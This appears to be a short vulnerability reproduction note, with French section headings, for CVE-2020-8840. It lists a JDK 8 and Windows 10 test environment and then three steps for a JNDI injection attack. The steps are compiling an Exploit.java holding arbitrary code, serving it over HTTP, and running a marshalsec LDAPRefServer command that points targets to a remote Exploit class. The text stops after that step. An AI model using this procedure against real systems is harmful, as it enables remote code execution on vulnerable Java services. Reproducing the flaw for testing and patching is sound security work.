CVE-2020-8840

Environnement

jdk 8u161
windows10 1903

Procédure

1.Create a java file named Exploit.java with code you wanna run in it & compile it
2.Create a http server using python or other tools at the same dir of class file
3.Create a ldap server using marshalsec: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit